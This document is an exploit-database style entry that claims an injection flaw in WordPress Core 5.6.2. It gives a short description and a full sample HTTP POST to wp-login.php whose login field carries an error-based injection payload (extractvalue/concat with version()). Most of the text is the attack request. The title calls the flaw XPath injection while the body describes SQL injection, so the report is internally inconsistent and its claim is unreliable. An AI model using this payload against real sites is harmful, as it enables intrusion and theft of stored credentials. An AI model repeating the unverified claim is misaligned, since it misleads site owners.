WordPress Core 5.6.2 XPath Injection

`# Exploit Title: WordPress Core 5.6.2 - Xpath Injection  
# Date: 13/08/2023  
# Exploit Author: Behrouz Mansoori  
# Vendor Homepage: https://wordpress.org  
# Software Link: https://wordpress.org/download/releases  
# Version: 5.6.2  
# Tested on: Mac  
  
# [ VULNERABILITY DETAILS ] :   
  
#This vulnerability allows remote attackers to disclose sensitive information on affected installations of WordPress Core,  
#The issue results from the lack of proper validation of a user-supplied string before using it to construct SQL queries.  
#An attacker can leverage this vulnerability to disclose stored credentials, leading to further compromise.  
  
# [ Sample Request ] :  
  
POST /wp-login.php HTTP/2  
Host: localhost  
Cookie: wordpress_test_cookie=WP%20Cookie%20check  
Content-Length: 125  
Cache-Control: max-age=0  
Sec-Ch-Ua:   
Sec-Ch-Ua-Mobile: ?0  
Sec-Ch-Ua-Platform: ""  
Upgrade-Insecure-Requests: 1  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
  
log=test' and extractvalue (rand(), concat (0x7e, version () ))--+&pwd=test&  
wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=https%3A%2F%2Ftarget_site%2Fwp-admin%2F&testcookie=1  
`